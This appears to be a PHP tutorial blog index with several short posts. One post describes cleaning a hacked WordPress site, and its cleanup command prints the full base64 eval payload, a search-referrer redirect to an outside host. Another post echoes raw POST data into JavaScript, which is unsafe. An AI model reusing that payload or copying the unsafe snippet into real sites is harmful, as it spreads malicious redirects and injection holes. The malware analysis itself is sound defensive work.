Anonymous functions now available from PHP 5.3

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callback parameters, but they have many other uses.


$myName = function($name)
    echo "My name is $name";

Or you can use it as callback like javascript

$arr = array(
	"first_name" => "Garry",
	"last_name" => "Lachman",
	"age" => "27"

$callback_function = function ($field, $field_value)
	echo "$field = $field_value";
array_walk($arr, $callback_function);

Using variables out function scope

$prefix = "*)";

$arr = array(
	"first_name" => "Garry",
	"last_name" => "Lachman",
	"age" => "27"

$callback_function = function ($field, $field_value) use ($prefix)
	echo "$prefix $field = $field_value";
array_walk($arr, $callback_function);

Have fun boys & girls :)

Read More

Virus i found in WordPress and my fast fix solution

After my firend WordPress has been hacked – all work ok but he got
Virus warning from Google.
I search footprint in the code and i found this line repeat in all theme files:


Its base64 encoded php code that executes with eval function, after decoding that i got

if (!$qazplm){
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"") or stristr($referer,"") or stristr($referer,"") or stristr($referer,"") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"") or stristr($referer,"") or stristr($referer,"")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){

The Solution for cleanup the code – LINUX ONLY !!!
Download all php files to local machine and run this command, if you base63 code is different
than change it

rpl -x'.php' -Rf "eval(base64_decode(\"DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZnJvbGluZy5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9\"));" "" *

Have Fun

Read More

Merge CSS files into one file with PHP

Most of the big websites have many css files and the browser need to load them one by one.
There is a easy solution to merge them to one file using php.


// First of all send css header
header("Content-type: text/css");

// Array of css files
$css = array(

// Loop the css Array
foreach ($css as $css_file)	{

	// Load the content of the css file	
	$css_content = file_get_contents($css_file);

	// print the css content
	echo $css_content;

Not include the CSS Loader file

<link href="css_loader.php" rel="stylesheet" type="text/css" />

Now all the CSS files are merged into one file.

Have Fun,

Read More

Develop PHP Facebook Application Locally – Dev Mode

As you know Facebook doesn’t have develop mode to that allow you to work locally.
But there is way to do it – and its very easy to deployment.

First create 2 applications on Facebook, one for “dev” and one for “production”.
In dev application set you application url to the locally localhost if “” like:

The second step is to create two “environments” in your application – “dev mode” and “production mode”.
Create a settings class that check if you work locally and return the Facebook API Key.

class ApplicationSettings	{
	private static $facebook_api = array(

	public static function get_facebook()	{
		if ($_SERVER['HTTP_HOST'] == "")	{
			return self::$facebook_api["dev"];
		return self::$facebook_api["prod"];

Set your Facebook API Key and Secret to the “dev” and “prod” modes.
Now we will change the way we connection to facebook api to get the
settings from our new class.

$facebook_settings = ApplicationSettings::get_facebook();

$facebook = new Facebook(array(
	'appId' => $facebook_settings["key"],
	'secret' => $facebook_settings["secret"],

Now every time we connect to Facebook API the settings class will
check our domain and if we work on “” its automatically
gets the “dev mode” API that pointed to our local application.

Have Fun 😉
Garry Lachman

Read More

PHP: Get local ip adresses using ifconfig (linux only)


I wrote little code to get local machine ip address:

        function get_machine_ips()      {
                $ips = array();
                exec("/sbin/ifconfig", $catch);
                foreach($catch as $line){
                if (eregi('inet addr:', $line)) {
                        $line = str_replace(" ", ":", $line);
                        $line = explode(":", $line);
                        $line = array_filter($line);
                        foreach ($line as $v)   {
                                if (ip2long($v))        {
                                        $ips[] = $v;
                return $ips;

have fun

Read More

Requirements Specification for: Advance One Time URL script

I`m planning to build new One Time URL script, after i found that the old version is bit problematic, i start to planning Advance One Time URL script.

Requirements Specification:

  1. using mySql as db.
  2. make one time url and store it in db.
  3. option to make few times url with limit.
  4. using http headers to force download – and not redirect as old script.
  5. mod_rewrite mode.
  6. regular link mode.
  7. install script – build the mySql schema.
  8. custom redirection for expired links.
  9. config file (db params, redirection params, default mode, etc…).


If you have more ideas, you can write it as comment.


Read More

PHP+REGEX – URL validation & split to elements

After searching the web i found a very good script to split the url to elements and validate it.
The result is:

array(14) {
  string(4) "http"
  string(17) ""
  string(0) ""
  string(17) ""
  string(0) ""
  string(0) ""
  string(0) ""
  string(0) ""
  string(0) ""
  string(17) ""
  string(0) ""
  string(12) "/2011/10/17/"
  string(22) "test_querystring=value"
  string(59) ""

The script:

// function url_valid($url) { Rev:20110423_2000
// Return associative array of valid URI components, or FALSE if $url is not
// RFC-3986 compliant. If the passed URL begins with: "www." or "ftp.", then
// "http://" or "ftp://" is prepended and the corrected full-url is stored in
// the return array with a key name "url". This value should be used by the caller.
// Return value: FALSE if $url is not valid, otherwise array of URI components:
// e.g.
// Given: ""
// Array(
//    [scheme] => http
//    [authority] =>
//    [userinfo] =>
//    [host] =>
//    [IP_literal] =>
//    [IPV6address] =>
//    [ls32] =>
//    [IPvFuture] =>
//    [IPv4address] =>
//    [regname] =>
//    [port] => 80
//    [path_abempty] => /articles
//    [query] => height=10&width=75
//    [fragment] => fragone
//    [url] =>
// )
function url_valid($url) {
    if (strpos($url, 'www.') === 0) $url = 'http://'. $url;
    if (strpos($url, 'ftp.') === 0) $url = 'ftp://'. $url;
    if (!preg_match('/# Valid absolute URI having a non-empty, valid DNS host.
                  (?:                                                (?:[0-9A-Fa-f]{1,4}:){6}
                  |                                                ::(?:[0-9A-Fa-f]{1,4}:){5}
                  | (?:                          [0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){4}
                  | (?:(?:[0-9A-Fa-f]{1,4}:){0,1}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){3}
                  | (?:(?:[0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})?::(?:[0-9A-Fa-f]{1,4}:){2}
                  | (?:(?:[0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})?::   [0-9A-Fa-f]{1,4}:
                  | (?:(?:[0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})?::
                  | (?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}
                |   (?:(?:[0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})?::   [0-9A-Fa-f]{1,4}
                |   (?:(?:[0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})?::
              | (?P<IPvFuture>[Vv][0-9A-Fa-f]+\.[A-Za-z0-9\-._~!$&\'()*+,;=:]+)
          | (?P<IPv4address>(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}
          | (?P<regname>(?:[A-Za-z0-9\-._~!$&\'()*+,;=]|%[0-9A-Fa-f]{2})+)
        (?:\?(?P<query>       (?:[A-Za-z0-9\-._~!$&\'()*+,;=:@\\/?]|%[0-9A-Fa-f]{2})*))?
        (?:\#(?P<fragment>    (?:[A-Za-z0-9\-._~!$&\'()*+,;=:@\\/?]|%[0-9A-Fa-f]{2})*))?
        /mx', $url, $m)) return FALSE;
    switch ($m['scheme']) {
    case 'https':
    case 'http':
        if ($m['userinfo']) return FALSE; // HTTP scheme does not allow userinfo.
    case 'ftps':
    case 'ftp':
        return FALSE;   // Unrecognized URI scheme. Default to FALSE.
    // Validate host name conforms to DNS "dot-separated-parts".
    if ($m['regname']) { // If host regname specified, check for DNS conformance.
        if (!preg_match('/# HTTP DNS host name.
            ^                      # Anchor to beginning of string.
            (?!.{256})             # Overall host length is less than 256 chars.
            (?:                    # Group dot separated host part alternatives.
              [A-Za-z0-9]\.        # Either a single alphanum followed by dot
            |                      # or... part has more than one char (63 chars max).
              [A-Za-z0-9]          # Part first char is alphanum (no dash).
              [A-Za-z0-9\-]{0,61}  # Internal chars are alphanum plus dash.
              [A-Za-z0-9]          # Part last char is alphanum (no dash).
              \.                   # Each part followed by literal dot.
            )*                     # Zero or more parts before top level domain.
            (?:                    # Explicitly specify top level domains.
              [A-Za-z]{2})         # Country codes are exactly two alpha chars.
              \.?                  # Top level domain can end in a dot.
            $                      # Anchor to end of string.
            /ix', $m['host'])) return FALSE;
    $m['url'] = $url;
    for ($i = 0; isset($m[$i]); ++$i) unset($m[$i]);
    return $m; // return TRUE == array of useful named $matches plus the valid $url.

Have a nice day,
Garry Lachman

Read More

6 PHP Template Engines

I think i don`t need to explain what is “Template Engine”, if this is the first time you hear about it
look at this link (Wikipedia)

Here is a list of some PHP Template Engines:


Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. This implies that PHP code is application logic, and is separated from the presentation.

Simple Template Parser (STP)

This parser has been developed 5 years ago with the aim to produce a tool that allows to separate code from HTML. It started out as a simple php function. Meanwhile it has been rewritten by Stefan Reich and turned into a class file.
In larger projects there are usually designers and developers involved.

PHP XTemplate

XTemplate allows you to store your HTML code separately from your PHP code (as opposed to compiling your template into PHP as per Smarty etc.). It has many useful features such as nested blocks and various kinds of variable interpolation, and yet the code is very short and very optimized.

Layout Solution

Layout Solution is a set of open source PHP classes to simplify website development and maintenance. It holds commonly used variables and page elements, allowing you to focus on designing your pages rather than worrying about correctly duplicating common layouts over and over.


Dwoo is a PHP5 template engine which is (almost) fully compatible with Smarty templates and plugins, but is written from scratch for PHP5, and adds many features.

Open Power Template

Open Power Template is a template engine for PHP5. Its task is to produce a full HTML code from the script data and ”code templates” that show, how and where put them. OPT has many features not only for programmers, but also for template writers that make this process nice and easy.

Read More

read POST variables with Javascript using PHP

Today i will show very easy way to read POST variables from Javascript using PHP.

<script type="text/javascript">// <![CDATA[
var post_json = "<?php echo json_encode($_POST); ?>";
// ]]></script>

We encode all POST vars with php to javascript JSON.
Now we can access the vars in simple way:


Have a nice day,

Read More

Garry`s One Time URL PHP5 Script

I open Requirements Specification for Advance One Time URL script.
You can see and help with ideas.


I wrote little script + lib for one time url.
this script make MD5 hash string for one time using and redirect file.
the links looks like: and can be used one time only.

The url storing is based on PHP Sessions and link redirection on MOD_REWRITE but there is example
for non MOD_REWRITE using
Example of create of the link:

$one_time_url = new one_time_url();
<a href="<?php echo $one_time_url->make_url(""); ?>">This is one time URL to</a>

The code & example can be downloaded form here.
License: GNU/GPL (open source)

Read More

Protected with Antivirus